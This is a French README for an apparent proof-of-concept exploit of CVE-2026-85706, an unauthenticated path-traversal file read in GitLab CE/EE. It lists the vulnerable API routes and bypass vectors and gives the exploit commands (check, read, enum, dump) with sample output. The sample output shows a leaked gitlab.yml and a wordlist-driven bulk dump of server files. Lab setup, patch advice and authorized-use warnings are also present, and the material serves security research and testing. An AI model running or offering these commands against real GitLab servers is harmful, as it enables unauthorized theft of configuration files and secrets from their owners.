
PoC pour CVE-2026-85706 : lecture arbitraire de fichier local non authentifiée dans GitLab CE/EE
CVE-2026-85706 est une vulnérabilité critique de type traversée de chemin / absence d'authentification dans les API
Repository Commits et Repository Files de GitLab CE/EE : un attaquant non authentifié peut faire lire au serveur
des fichiers arbitraires et en obtenir le contenu via le canal d'erreur. CVSS 3.1 10.0
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).
Le titre officiel de GitLab est « Path Traversal issue in repository commits API impacts GitLab CE/EE ». Le correctif a été publié le 2026-09-10 dans les versions 19.3.2 / 19.2.6 / 19.1.8.
[!IMPORTANT] Vous utilisez un GitLab auto-hébergé <= 19.3.1 ? Mettez à jour vers 19.3.2 / 19.2.6 / 19.1.8.
[!WARNING] Usage autorisé uniquement. N'exécutez cet outil que contre des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester.
Ce dépôt contient une preuve de concept indépendante, un laboratoire de reproduction minimal et une analyse technique complète :
Aucune donnée capturée sur un système tiers n'est incluse.
# terminal 1 - depuis la racine du dépôt
cd lab
python vulnerable_api.py --seed # create the sandbox vault
python vulnerable_api.py --port 8080 # vulnerable build (add --patched to compare)
# terminal 2 - depuis la racine du dépôt
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read --url http://127.0.0.1:8080 --project 1 \
--file /tmp/cve-2026-85706/canary.txt
Le laboratoire écoute uniquement sur 127.0.0.1 et ne lit qu'à l'intérieur de son bac à sable lab/vault/, il ne peut donc jamais toucher
aux fichiers de votre machine réelle.
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>
Ajoutez --insecure pour les certificats auto-signés, et préférez l'identifiant numérique du projet à un chemin encodé
(--project <id> au lieu de group%2Fproject).
| Commande | Objectif | Options clés |
|---|---|---|
check | La cible est-elle vulnérable ? Compare les réponses de chaque vecteur de contournement | --canary-path, --no-bypass-probe |
read | Lit un fichier et indique si son contenu fuit | --file <path>, --media <type> |
enum | Sonde une liste de chemins et classe chacun d'eux | --wordlist, --wordlist-file |
dump | Enregistre chaque fichier lisible sur disque, avec un manifeste et les réponses brutes | --files, --files-file, --outdir |
Les libellés affichés par check :
| Libellé | Chemin de la requête |
|---|---|
commits-trailing-slash | POST /api/v4/projects/<id>/repository/commits/ |
commits-json-suffix | POST /api/v4/projects/<id>/repository/commits.json |
commits-canonical | POST /api/v4/projects/<id>/repository/commits (Workhorse-buffered, control case) |
files-trailing-slash | POST /api/v4/projects/<id>/repository/files/<name>/ |
files-canonical | POST /api/v4/projects/<id>/repository/files/<name> |
check - la cible est-elle vulnérable ?$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[json and query variants behave identically]
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
files-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
-> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
Codes de sortie : 0 = vulnérable ; 1 = non exploitable avec les vecteurs testés (corrigé, ou route inaccessible).
Deux détails à connaître :
Workhorse bypass probe est la preuve du routage : file n'existe que lorsque Workhorse a mis en tampon et
signé le corps, donc un 400 {"error":"file is missing"} prouve que la route de contournement a ignoré ce pipeline
tout en atteignant l'API. Sur une version corrigée, cette dernière ligne affiche HTTP 401.commits-canonical -> 401) est le cas de contrôle : là, Workhorse réécrit
file.path, donc la valeur de l'attaquant n'atteint jamais le code vulnérable.read - lire un seul fichier$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
--file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required
Codes de sortie : 0 = contenu divulgué, ou lecture pré-authentification confirmée par la ligne de base ; 1 = aucune lecture pré-authentification observée.
enum / dump - sondage en massepython poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
--wordlist-file poc/paths.txt
python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
--outdir evidence --files-file poc/paths.txt
poc/paths.txt fournit 45 chemins GitLab/Linux intéressants ; --wordlist / --files peuvent être fournis en ligne ou
via un fichier, et les deux formes peuvent être combinées. Ce sont les deux seules sous-commandes qui touchent réellement au contenu
des fichiers - écrivez la sortie en dehors de ce dépôt et ne publiez jamais ce qu'elles capturent.
| Option | Signification |
|---|---|
--url <base URL> | URL de base de la cible (obligatoire) |
--project <id or encoded path> | Identifiant de projet public (123) ou chemin encodé URL (group%2Fproject), obligatoire |
--token <PRIVATE-TOKEN> | Facultatif ; teste le chemin authentifié |
--insecure | Ignore la vérification TLS (certificats auto-signés) |
-v, --verbose | Affiche chaque requête/réponse sur stderr |
--canary-path <path> | Chemin garanti absent utilisé comme ligne de base de vulnérabilité |
--color <mode> | auto (par défaut, couleurs sur un vrai terminal), always, never |
L'ordre des options est important : les options partagées se placent après la sous-commande - check --url ... --insecure, et non
--url ... check.
| Test | Résultat |
|---|---|
Contrôle corrigé - gitlab.com, 19.3.2+ | Chaque vecteur renvoie 401 ; la seule autre réponse est le 400 {"error":"file is missing"} qui prouve le contournement du routage |
Laboratoire local - lab/vulnerable_api.py | Reproduit le bug de confiance côté Rails de bout en bout ; --patched fournit la version de comparaison |
| Véritable instance auto-hébergée - 19.3.1, autorisation écrite | Vulnérabilité confirmée ; les détails de l'hôte et du projet ne sont délibérément pas publiés ici. Résultats agrégés dans ANALYSIS.md, section 4.3 |
Ce matériel est fourni à des fins de recherche en sécurité et de tests autorisés - votre propre laboratoire, un programme de bug bounty, ou un test d'intrusion avec autorisation écrite. Ne l'utilisez que contre des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester. L'accès non autorisé à des systèmes tiers est illégal. Fourni tel quel, sans garantie d'aucune sorte.